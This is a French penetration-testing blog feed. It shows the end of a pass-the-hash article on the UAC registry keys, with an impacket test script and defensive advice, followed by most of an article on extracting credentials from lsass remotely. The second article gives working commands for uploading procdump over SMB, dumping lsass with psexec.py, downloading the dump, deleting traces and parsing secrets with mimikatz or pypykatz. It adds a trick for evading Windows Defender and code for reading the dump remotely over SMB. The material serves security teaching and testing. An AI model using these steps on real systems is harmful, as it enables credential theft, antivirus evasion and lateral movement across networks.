<li>Si elle vaut <code class="language-plaintext highlighter-rouge">0</code>, valeur par défaut donc, alors seul le compte administrateur natif (RID 500) est en mesure d’effectuer des actions d’administration sans que l’UAC ne l’embête. Les autres comptes d’administration, donc ceux créés par les utilisateurs et ensuite ajoutés en tant qu’administrateurs locaux, ne pourront pas faire d’action d’administration à distance puisque l’UAC sera activée, et ils ne pourront pas valider la boite de dialogue à distance.</li>
<li>Si elle vaut <code class="language-plaintext highlighter-rouge">1</code>, alors <strong>tous</strong> les comptes dans le groupe “Administrateurs” peuvent faire des actions d’administration à distance, natif ou non.</li>
</ul>
<p>Donc pour résumer, voici les deux cas :</p>
<ul>
<li><strong>LocalAccountTokenFilterPolicy = 0</strong> : Seul le compte “Administrateur” RID 500 peut faire des actions d’administration à distance</li>
<li><strong>LocalAccountTokenFilterPolicy = 1</strong> : Tous les comptes dans le groupe “Administrateurs” peuvent faire des actions d’administration à distance</li>
</ul>
<h3 id="filteradministratortoken">FilterAdministratorToken</h3>
<p>Cette deuxième clé de registre se trouve au même endroit dans la base de registre :</p>
<blockquote>
<p>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</p>
</blockquote>
<p>Elle peut également avoir les valeurs <code class="language-plaintext highlighter-rouge">0</code> ou <code class="language-plaintext highlighter-rouge">1</code></p>
<p>Par défault, elle vaut aussi <code class="language-plaintext highlighter-rouge">0</code>.</p>
<ul>
<li>Si elle vaut <code class="language-plaintext highlighter-rouge">0</code>, valeur par défaut donc, alors le compte administrateur natif (RID 500) est en mesure d’effectuer des actions d’administration sans que l’UAC ne l’embête. Cette clé ne concerne pas les autres comptes.</li>
<li>Si elle vaut <code class="language-plaintext highlighter-rouge">1</code>, alors le compte administrateur natif (RID 500) est également soumis à l’UAC, et il n’est plus en mesure d’effectuer des tâches d’administration à distance, <strong>sauf</strong> si la première clé dont on a parlé vaut <code class="language-plaintext highlighter-rouge">1</code>.</li>
</ul>
<p>Donc pour résumer, voici les deux cas :</p>
<ul>
<li><strong>FilterAdministratorToken = 0</strong> : Le compte natif Administrateur peut faire des actions d’administration à distance</li>
<li><strong>FilterAdministratorToken = 1</strong> : Le compte natif Administrateur <strong>ne peut pas</strong> faire des actions d’administration à distance, sauf si <code class="language-plaintext highlighter-rouge">LocalAccountTokenFilterPolicy</code> vaut <code class="language-plaintext highlighter-rouge">1</code></li>
</ul>
<h3 id="résumé">Résumé</h3>
<p>Voici un petit tableau résumé. Pour chaque combinaison des deux clés de registre, ce tableau indique si les actions d’administration à distance sont possibles avec un compte administrateur natif et avec un compte administrateur non natif. Les valeurs en gras sont les valeurs par défaut.</p>
<p><a href="/assets/uploads/2019/11/pth_table.png"><img src="/assets/uploads/2019/11/pth_table.png" alt="Registry table" /></a></p>
<p>Je précise encore une fois que ces informations concernent les actions d’administration. En effet, il est toujours possible de s’authentifier auprès de la machine, quelles que soient les valeurs des clés de registres. Voici un petit programme utilisant la librairie impacket qui permet de comprendre ce point :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">impacket.smbconnection</span> <span class="kn">import</span> <span class="n">SMBConnection</span><span class="p">,</span> <span class="n">SMB_DIALECT</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">SMBConnection</span><span class="p">(</span><span class="s">"192.168.1.122"</span><span class="p">,</span> <span class="s">"192.168.1.122"</span><span class="p">)</span>
<span class="s">"""
Dans un premier temps, nous nous authentifions en tant que
"Administrateur" sur la machine distante. Une authentification
NTLM va être effectuée, et comme se sont les bonnes informations,
nous serons authentifiés sur la machine distante.
"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">conn</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="s">"Administrateur"</span><span class="p">,</span> <span class="s">"S3cUr3d+"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Logged in !"</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Loggon failure"</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="s">"""
Nous nous plaçons dans le cas où :
LocalAccountTokenFilterPolicy = 0
FilterAdministratorToken = 1
D'après le tableau précédant, le compte administrateur natif
n'est pas en mesure d'effectuer des actions d'administration,
telle qu'accéder au partage réseau C$.
"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">conn</span><span class="p">.</span><span class="n">connectTree</span><span class="p">(</span><span class="s">"C$"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Access granted !"</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Access denied"</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
</code></pre></div></div>
<p>Si nous le lançons, voici le résultat :</p>
<p><a href="/assets/uploads/2019/11/test_admin_access.png"><img src="/assets/uploads/2019/11/test_admin_access.png" alt="Lsassy verification" /></a></p>
<p>Cela confirme bien que l’authentification a fonctionné, mais que le contexte d’administration demandé a été refusé puisque l’UAC est activé pour le compte, puisqu’imposé par la clé <strong>FilterAdministratorToken</strong> dans cet exemple.</p>
<h2 id="conclusion">Conclusion</h2>
<p>L’authentification NTLM est aujourd’hui encore beaucoup utilisée en entreprise. D’expérience, je n’ai encore jamais vu d’environnement ayant réussi à désactiver NTLM sur l’ensemble de son parc. La technique du Pass the hash reste donc très efficace.</p>
<p>Cette technique est inhérente au protocole NTLM, cependant il est possible de limiter les dégats en évitant d’avoir le même mot de passe d’administration locale sur tous les postes. La solution <a href="https://blogs.technet.microsoft.com/arnaud/2015/11/25/local-admin-password-solution-laps/">LAPS</a> de Microsoft est une solution parmi d’autres pour gérer automatiquement les mots de passe des administrateurs en faisant en sorte que ce mot de passe (donc aussi le hash NT) soit différent sur tous les postes.</p>
<p>Par ailleurs, mettre en place une <a href="https://www.sstic.org/media/SSTIC2017/SSTIC-actes/administration_en_silo/SSTIC2017-Article-administration_en_silo-bordes.pdf">administration en SILO</a> permet d’éviter les élévations de privilèges au sein du système d’information. Des administrateurs dédiés à des zones de criticité différentes (bureautique, serveur, contrôleurs de domaine, …) se connectent uniquement sur leur zone, et ne peuvent pas accéder à une zone différente. Si ce type d’administration est mise en place et qu’une machine d’une zone est compromise, l’attaquant ne pourra pas utiliser les identifiants trouvés pour atteindre une autre zone.</p>
<p>Enfin, bien positionner les clés de registre dont nous avons parlé dans le dernier paragraphe permet de limiter les actions des administrateurs.</p>
<p>Une partie de ces recommandations est indiquée dans le <a href="https://www.ssi.gouv.fr/uploads/2017/01/guide_hygiene_informatique_anssi.pdf">Guide d’hygiène informatique</a> publié par l’ANSSI.</p>
<p>En attendant, cette technique a encore de beaux jours devant elle !</p>
<p>Si vous avez des questions, n’hésitez pas à les poser ici ou sur <a href="https://discord.hackndo.com">Discord</a> et je me ferai une joie de tenter d’y répondre. De la même manière, si vous voyez des coquilles, je suis tout ouïe. A la prochaine !</p>
Tue, 17 Dec 2019 23:01:21 +0000
https://beta.hackndo.com/pass-the-hash/
https://beta.hackndo.com/pass-the-hash/Active DirectoryWindowsExtraction des secrets de lsass à distance<p>Lors de tests d’intrusion en entreprise, le mouvement latéral et l’élévation de privilèges sont deux concepts fondamentaux pour avancer et prendre le contrôle de la cible. Il existe une multitude de moyens de faire l’un ou l’autre, mais aujourd’hui nous allons présenter une nouvelle technique pour lire le contenu d’un dump de lsass à distance, diminuant significativement la latence et la détection lors de l’extraction de mots de passe sur un ensemble de machines.</p>
<!--more-->
<h2 id="introduction">Introduction</h2>
<p>Un petit message d’introduction pour remercier <a href="https://twitter.com/mpgn_x64">mpgn</a> qui m’a beaucoup aidé sur différents sujets, et avec qui je travaille en partie sur ce projet, et <a href="https://twitter.com/skelsec">Skelsec</a> pour ses conseils et ses idées.</p>
<h2 id="crackmapexec">CrackMapExec</h2>
<p>L’outil <a href="https://github.com/byt3bl33d3r/CrackMapExec">CrackMapExec</a> est développé et maintenu par <a href="https://twitter.com/byt3bl33d3r">Byt3bl33d3r</a>. Son utilité est de pouvoir exécuter des actions sur un ensemble de machines de manière asynchrone, donc relativement rapidement. L’outil permet de s’authentifier sur les machines distantes avec un compte de domaine, un compte local, et un password ou un hash, donc via la technique de “Pass the hash”.</p>
<p>CrackMapExec a été développé de manière modulaire. Il est possible de créer ses propres modules que l’outil exécutera lorsqu’il se connectera à une machine. Il en existe déjà beaucoup, comme l’énumération d’informations (DNS, Chrome, AntiVirus), l’exécution de BloodHound ou encore la recherche de mots de passe dans les “Group Policy Preferences”.</p>
<h2 id="module-mimikatz">Module Mimikatz</h2>
<p>Il en existe un en particulier, qui était très efficace pendant quelques temps, c’était le module <a href="https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/mimikatz.py">Mimikatz</a>. CrackMapExec exécute Mimikatz sur les machines distantes afin d’extraire les identifiants de la mémoire de lsass ou <strong>Local Security Authority SubSystem</strong>. C’est dans ce processus que se trouvent les différents <strong>Security Service Providers</strong> ou <strong>SSP</strong>, c’est à dire les paquets qui gèrent les différents types d’authentification. Pour des raisons pratiques, les identifiants entrés par un utilisateur sont très souvent enregistrés dans l’un de ces paquets pour qu’il n’ait pas à les entrer une nouvelle fois quelques secondes ou minutes plus tard.</p>
<p>C’est pourquoi Mimikatz extrait les informations situées dans ces différents SSP pour tenter de trouver des secrets d’identification, et les affiche à l’attaquant. Ainsi, si un compte à privilèges s’est connecté sur l’une des machines compromises, le module Mimikatz permet de récupérer rapidement ses identifiants et ainsi profiter des privilèges de ce compte pour compromettre plus de ressources.</p>
<p>Mais aujourd’hui, la majorité des antivirus détecte la présence et/ou l’exécution de Mimikatz et le bloque. CrackMapExec a beau attendre une réponse des machines visées, l’antivirus a joué son rôle, et nous n’avons plus les secrets qui apparaissent sur notre écran.</p>
<h2 id="méthode-manuelle--procdump">Méthode manuelle : Procdump</h2>
<p>Suite à ce constat, je me suis tourné vers une méthode beaucoup plus manuelle mais qui a le mérite d’être fonctionnelle en utilisant l’outil <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">Procdump</a>.</p>
<p>Procdump est un outil de la suite <a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals</a> qui a été écrite par <a href="https://blogs.technet.microsoft.com/markrussinovich/">Marc Russinovich</a> pour simplifier la vie des administrateurs. Cette suite d’outils a été adoptée par un grand nombre de personnes, à tel point que Microsoft a décidé de l’acheter vers 2006, et les exécutables sont maintenant signés par Microsoft, donc reconnus comme sains par Windows.</p>
<p>L’outil procdump fait donc partie de ces outils, et il permet tout simplement de faire un dump de la mémoire d’un processus en cours d’exécution. Il s’attache au processus, lit sa mémoire et la retranscrit dans un fichier.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>procdump --accepteula -ma <processus> processus_dump.dmp
</code></pre></div></div>
<p>Or, pour extraire les secrets des utilisateurs, Mimikatz va notamment fouiller dans la mémoire du processus <strong>lsass</strong>, comme expliqué précédemment.</p>
<p>Il est alors possible de faire un dump du processus lsass sur une machine, de rapatrier ce dump sur notre machine locale, et d’extraire les identifiants à l’aide de Mimikatz.</p>
<p>Pour dumper le processus lsass, nous pouvons donc utiliser l’outil procdump, puisque celui-ci est connu de Windows, et ne sera pas considéré comme un logiciel malveillant.</p>
<p>Dans un premier temps, il faut l’envoyer sur le serveur, par exemple en utilisant <code class="language-plaintext highlighter-rouge">smbclient.py</code> de la suite <a href="https://github.com/SecureAuthCorp/impacket">impacket</a></p>
<p><a href="/assets/uploads/2019/11/put_procdump.png"><img src="/assets/uploads/2019/11/put_procdump.png" alt="Put Procdump" /></a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient.py ADSEC.LOCAL/[email protected]
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># use C$
# cd Windows
# cd Temp
# put procdump.exe
</code></pre></div></div>
<p>Une fois uploadé, il doit être exécuté afin de créer le dump de lsass.</p>
<p><a href="/assets/uploads/2019/11/execute_procdump.png"><img src="/assets/uploads/2019/11/execute_procdump.png" alt="Excute Procdump" /></a></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.py adsec.local/[email protected] <span class="s2">"C:</span><span class="se">\\</span><span class="s2">Windows</span><span class="se">\\</span><span class="s2">Temp</span><span class="se">\\</span><span class="s2">procdump.exe -accepteula -ma lsass C:</span><span class="se">\\</span><span class="s2">Windows</span><span class="se">\\</span><span class="s2">Temp</span><span class="se">\\</span><span class="s2">lsass.dmp"</span>
</code></pre></div></div>
<p>Puis le dump doit être rapatrié sur la machine de l’attaquant, suite à quoi nous pouvons supprimer les traces sur la cible (lsass.dmp et procdump.exe).</p>
<p><a href="/assets/uploads/2019/11/get_procdump.png"><img src="/assets/uploads/2019/11/get_procdump.png" alt="Get Procdump" /></a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># get lsass.dmp
# del procdump.exe
# del lsass.dmp
</code></pre></div></div>
<p>L’extraction des identifiants se fait de la manière suivante avec Mimikatz : la première ligne permet de charger le dump mémoire, et la deuxième d’extraire les secrets.</p>
<p><a href="/assets/uploads/2019/11/mimikatz_dump.png"><img src="/assets/uploads/2019/11/mimikatz_dump.png" alt="Mimikatz Dump" /></a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
</code></pre></div></div>
<p>Cette technique est très pratique puisqu’elle ne génère pas beaucoup de bruit et seul un logiciel légitime est utilisé sur les cibles.</p>
<h2 id="limites--améliorations">Limites & Améliorations</h2>
<p>Il existe différentes limitations à cette méthode. Nous allons les exposer ici, et proposer des améliorations afin d’y remédier.</p>
<h3 id="linux--windows">Linux / Windows</h3>
<p>Le premier problème est que lors de mes tests, je suis majoritairement sur mon poste Linux, que ce soit pour les tests web ou les tests internes, et Mimikatz est un outil exclusivement développé pour Windows, de par son fonctionnement. Il serait idéal de pouvoir effectuer la chaine d’attaque décrite ci-dessus depuis un poste Linux.</p>
<p>Heureusement, le projet <a href="https://github.com/skelsec/pypykatz">Pypykatz</a> de <a href="https://twitter.com/skelsec">Skelsec</a> répond à cette attente. Skelsec a développé une implémentation partielle de Mimikatz en python pur. Qui dit python pur, dit cross-plateforme. Cet outil permet notamment, comme Mimikatz, d’extraire les secrets d’un dump lsass.</p>
<p><a href="/assets/uploads/2019/11/pypykatz_example.png"><img src="/assets/uploads/2019/11/pypykatz_example.png" alt="Pypykatz Example" /></a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pypykatz lsa minidump lsass.dmp
</code></pre></div></div>
<p>Grâce à ce projet, il est possible de tout faire depuis une machine Linux. L’ensemble des étapes présentées dans le paragraphe précédent est applicable, et lorsque lsass.dmp a été téléchargé sur la machine de l’attaquant, pypykatz est utilisé pour extraire les noms d’utilisateur et mots de passe ou hash NT de ce dump.</p>
<p>So far so good, let’s go deeper.</p>
<h3 id="windows-defender">Windows Defender</h3>
<p>Une deuxième limitation a été rencontrée, elle était due à Windows Defender. Bien que procdump soit un outil de confiance du point de vue de Windows, le fait de faire un dump de lsass est un comportement qui est considéré comme anormal par Windows Defender. Ainsi, lorsque le dump a été effectué, Windows Defender réagit et supprime le dump après quelques secondes. Si nous avons une très bonne connexion, que le dump n’est pas trop gros, et que nous sommes suffisamment rapides, il est possible de télécharger le dump avant sa suppression.</p>
<p>Cependant ce comportement est trop aléatoire pour s’en contenter. En regardant la documentation de procdump, je me suis rendu compte qu’il était aussi possible de lui fournir un identifiant de process (PID). Et surprise, en lui fournissant non plus le nom mais le PID de lsass, Windows Defender ne réagit plus.</p>
<p>Il suffit alors de trouver le PID du processus lsass, par exemple avec la commande <code class="language-plaintext highlighter-rouge">tasklist</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> tasklist /fi "imagename eq lsass.exe"
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
lsass.exe 640 Services 0 15,584 K
</code></pre></div></div>
<p>Puis une fois en possession de ce PID, nous le fournissons à procdump.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>procdump -accepteula -ma 640 lsass.dmp
</code></pre></div></div>
<p>Nous avons alors tout le loisir de télécharger notre dump et de l’analyser ensuite sur notre machine, comme précédemment.</p>
<h3 id="méthode-manuelle">Méthode manuelle</h3>
<p>Cette opération est certes pratique, mais elle reste manuelle. Nous avons parlé de CrackMapExec et de sa modularité au début de cet article, c’est pourquoi j’ai écrit un module permettant d’automatiser cette opération. Pour chaque cible fournie à CrackMapExec, si l’attaquant est administrateur local de la cible, le module va uploader procdump sur la cible, l’exécuter, récupérer le dump de lsass et va ensuite l’analyser avec pypykatz.</p>
<p>Ce module fonctionne bien, mais il est long, très long à s’exécuter, et parfois le téléchargement du dump de lsass ne se termine pas car le fichier est trop volumineux. Il s’agit alors d’optimiser ce module.</p>
<h3 id="taille-dun-dump">Taille d’un dump</h3>
<p>Nous sommes maintenant en mesure de dumper lsass sur la machine distante et de l’analyser en local sur notre linux de manière automatique avec un nouveau module CrackMapExec. Mais un dump mémoire de processus, ce n’est pas quelques octets, ni même quelques kilo octets. Ce sont plusieurs méga octets, voire dizaines de méga octets pour lsass. Lors de mes tests, certains dumps avaient une taille de plus de 150Mo. Si nous voulons automatiser ce processus, il va falloir trouver une solution, car télécharger un dump lsass sur un sous-réseau de 200 machines amènerait à télécharger plusieurs dizaines de giga octets. D’une part ça prendra beaucoup de temps, surtout si ce sont des machines distantes, dans d’autres pays, et d’autre part un flux réseau anormal pourrait être détecté par les équipes de sécurité.</p>
<p>Jusque là, nous avions des outils pour répondre à nos problèmes, mais cette fois-ci, il va falloir mettre les mains dans le moteur.</p>
<p>Nous n’allons pas réinventer la roue pour autant, et nous continuerons d’utiliser pypykatz pour extraire les informations du dump de lsass. L’idée étant de n’utiliser que procdump sur la machine distante, il n’est pas envisageable d’envoyer pypykatz pour faire le travail sur la machine distante. D’une part python peut ne pas être installé, et d’autre part il est possible que pypykatz soit détecté par des antivirus.</p>
<p>Ces prérequis en tête, voici la méthode que nous allons utiliser : Afin d’analyser un dump en local, pypykatz doit ouvrir le fichier et lire des octets à certains endroits. Les informations recherchées dans le dump sont présentes à certains offsets, et ne sont pas plus grandes que quelques octets, ou kilo octets. Pypykatz suit des pointeurs présents à des offsets précis afin de trouver l’information qui l’intéresse.</p>
<p>L’idée est alors de lire ces offsets et ces adresses à distance, sur le dump présent sur la cible, et de ne rapatrier que les quelques morceaux de dump qui contiennent les informations attendues.</p>
<p>En ce sens, regardons comment fonctionne pypykatz. La ligne de commande que nous utilisons jusqu’ici est la suivante :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pypykatz lsa minidump lsass.dmp
</code></pre></div></div>
<p>C’est en fait la classe <code class="language-plaintext highlighter-rouge">LSACMDHelper</code> qui gère la partie <code class="language-plaintext highlighter-rouge">lsa</code>. Et lorsqu’on lui fournit un dump de lsass, c’est la méthode <code class="language-plaintext highlighter-rouge">run()</code> de cette classe qui est appelée. Dans cette méthode <code class="language-plaintext highlighter-rouge">run</code>, il y a notamment :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">###### Minidump
</span><span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">cmd</span> <span class="o">==</span> <span class="s">'minidump'</span><span class="p">:</span>
<span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">directory</span><span class="p">:</span>
<span class="n">dir_fullpath</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">memoryfile</span><span class="p">)</span>
<span class="n">file_pattern</span> <span class="o">=</span> <span class="s">'*.dmp'</span>
<span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">recursive</span> <span class="o">==</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">globdata</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">dir_fullpath</span><span class="p">,</span> <span class="s">'**'</span><span class="p">,</span> <span class="n">file_pattern</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">globdata</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">dir_fullpath</span><span class="p">,</span> <span class="n">file_pattern</span><span class="p">)</span>
<span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Parsing folder %s'</span> <span class="o">%</span> <span class="n">dir_fullpath</span><span class="p">)</span>
<span class="k">for</span> <span class="n">filename</span> <span class="ow">in</span> <span class="n">glob</span><span class="p">.</span><span class="n">glob</span><span class="p">(</span><span class="n">globdata</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="n">args</span><span class="p">.</span><span class="n">recursive</span><span class="p">):</span>
<span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Parsing file %s'</span> <span class="o">%</span> <span class="n">filename</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">mimi</span> <span class="o">=</span> <span class="n">pypykatz</span><span class="p">.</span><span class="n">parse_minidump_file</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">results</span><span class="p">[</span><span class="n">filename</span><span class="p">]</span> <span class="o">=</span> <span class="n">mimi</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">files_with_error</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">logging</span><span class="p">.</span><span class="n">exception</span><span class="p">(</span><span class="s">'Error parsing file %s '</span> <span class="o">%</span> <span class="n">filename</span><span class="p">)</span>
<span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">halt_on_error</span> <span class="o">==</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">e</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">pass</span>
</code></pre></div></div>
<p>On voit alors que le parsing du dump se fait à la ligne suivante :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mimi</span> <span class="o">=</span> <span class="n">pypykatz</span><span class="p">.</span><span class="n">parse_minidump_file</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
</code></pre></div></div>
<p>Cette méthode est définie dans <code class="language-plaintext highlighter-rouge">pypykatz.py</code> :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">minidump.minidumpfile</span> <span class="kn">import</span> <span class="n">MinidumpFile</span>
<span class="s">"""
<snip>
"""</span>
<span class="o">@</span><span class="nb">staticmethod</span>
<span class="k">def</span> <span class="nf">parse_minidump_file</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">minidump</span> <span class="o">=</span> <span class="n">MinidumpFile</span><span class="p">.</span><span class="n">parse</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">reader</span> <span class="o">=</span> <span class="n">minidump</span><span class="p">.</span><span class="n">get_reader</span><span class="p">().</span><span class="n">get_buffered_reader</span><span class="p">()</span>
<span class="n">sysinfo</span> <span class="o">=</span> <span class="n">KatzSystemInfo</span><span class="p">.</span><span class="n">from_minidump</span><span class="p">(</span><span class="n">minidump</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">exception</span><span class="p">(</span><span class="s">'Minidump parsing error!'</span><span class="p">)</span>
<span class="k">raise</span> <span class="n">e</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">mimi</span> <span class="o">=</span> <span class="n">pypykatz</span><span class="p">(</span><span class="n">reader</span><span class="p">,</span> <span class="n">sysinfo</span><span class="p">)</span>
<span class="n">mimi</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="c1">#logger.info('Credentials parsing error!')
</span> <span class="n">mimi</span><span class="p">.</span><span class="n">log_basic_info</span><span class="p">()</span>
<span class="k">raise</span> <span class="n">e</span>
<span class="k">return</span> <span class="n">mimi</span>
</code></pre></div></div>
<p>C’est en fait la classe <code class="language-plaintext highlighter-rouge">MinidumpFile</code> du packet <code class="language-plaintext highlighter-rouge">minidump</code> qui gère le parsing. Il faut donc creuser un peu plus loin, et étudier <a href="https://github.com/skelsec/minidump">minidump</a>, également écrit par Skelsec.</p>
<p>Dans la classe <code class="language-plaintext highlighter-rouge">Minidumpfile</code>, la méthode <code class="language-plaintext highlighter-rouge">parse</code> est la suivante :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="nb">staticmethod</span>
<span class="k">def</span> <span class="nf">parse</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="n">mf</span> <span class="o">=</span> <span class="n">MinidumpFile</span><span class="p">()</span>
<span class="n">mf</span><span class="p">.</span><span class="n">filename</span> <span class="o">=</span> <span class="n">filename</span>
<span class="n">mf</span><span class="p">.</span><span class="n">file_handle</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">mf</span><span class="p">.</span><span class="n">_parse</span><span class="p">()</span>
<span class="k">return</span> <span class="n">mf</span>
</code></pre></div></div>
<p>Voilà, c’est cet endroit qui nous intéresse. Le fichier que nous passons en argument est ouvert puis son contenu est analysé. Je vous passe les extraits de code, mais en suivant la méthode privée <code class="language-plaintext highlighter-rouge">_parse</code>, nous nous rendons compte que <code class="language-plaintext highlighter-rouge">minidump</code> utilise les méthodes <code class="language-plaintext highlighter-rouge">read</code>, <code class="language-plaintext highlighter-rouge">seek</code> et <code class="language-plaintext highlighter-rouge">tell</code> pour analyser le fichier.</p>
<p>Il suffit alors de remplacer la fonction <code class="language-plaintext highlighter-rouge">open</code> par quelque chose que nous maitrisons afin d’ouvrir un accès vers le fichier distant, et de réécrire les méthodes <code class="language-plaintext highlighter-rouge">read</code>, <code class="language-plaintext highlighter-rouge">seek</code> et <code class="language-plaintext highlighter-rouge">tell</code>. Fort heureusement pour nous, la suite impacket possède des bouts de code qui nous serons très utiles.</p>
<p>Voici une partie de l’implémentation de cette classe. Du code a été simplifié pour la compréhension de l’article.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">"""
Réécriture de 'open' pour ouvrir et lire un fichier distant
"""</span>
<span class="k">class</span> <span class="nc">open</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fpath</span><span class="p">,</span> <span class="n">mode</span><span class="p">):</span>
<span class="n">domainName</span><span class="p">,</span> <span class="n">userName</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">hostName</span><span class="p">,</span> <span class="n">shareName</span><span class="p">,</span> <span class="n">filePath</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">_parseArg</span><span class="p">(</span><span class="n">fpath</span><span class="p">)</span>
<span class="s">"""
ImpacketSMBConnexion est une surclasse de impacket que j'ai écrite pour simplifier cet extrait de code
"""</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__conn</span> <span class="o">=</span> <span class="n">ImpacketSMBConnexion</span><span class="p">(</span><span class="n">hostName</span><span class="p">,</span> <span class="n">userName</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">domainName</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__fpath</span> <span class="o">=</span> <span class="n">filePath</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">=</span> <span class="mi">0</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__tid</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__connectTree</span><span class="p">(</span><span class="n">shareName</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__fid</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">openFile</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__tid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__fpath</span><span class="p">)</span>
<span class="s">"""
Parsing du nom de fichier pour récupérer les informations d'authentification
"""</span>
<span class="k">def</span> <span class="nf">_parseArg</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span>
<span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="sa">r</span><span class="s">"^(?P<domainName>[a-zA-Z0-9.-_]+)/(?P<userName>[^:]+):(?P<password>[^@]+)@(?P<hostName>[a-zA-Z0-9.-]+):/(?P<shareName>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$"</span><span class="p">)</span>
<span class="n">matches</span> <span class="o">=</span> <span class="n">pattern</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span>
